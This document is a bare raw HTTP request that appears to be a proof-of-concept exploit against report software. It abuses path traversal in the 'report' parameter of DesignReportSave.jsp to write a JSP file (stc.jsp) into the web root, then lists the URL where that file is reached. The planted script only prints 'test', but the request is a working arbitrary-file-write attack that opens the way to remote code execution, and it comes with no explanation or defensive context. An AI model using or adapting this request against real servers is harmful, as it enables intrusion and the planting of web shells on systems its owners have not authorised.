GET /report/DesignReportSave.jsp?report=../stc.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=32A62132D706D2E2F3F66875BD5C012A
Upgrade-Insecure-Requests: 1
Content-Length: 68

<%@ page contentType="text/plain" %>
<%
    out.print("test");
%>

http://xx.xx.xx.xx/stc.jsp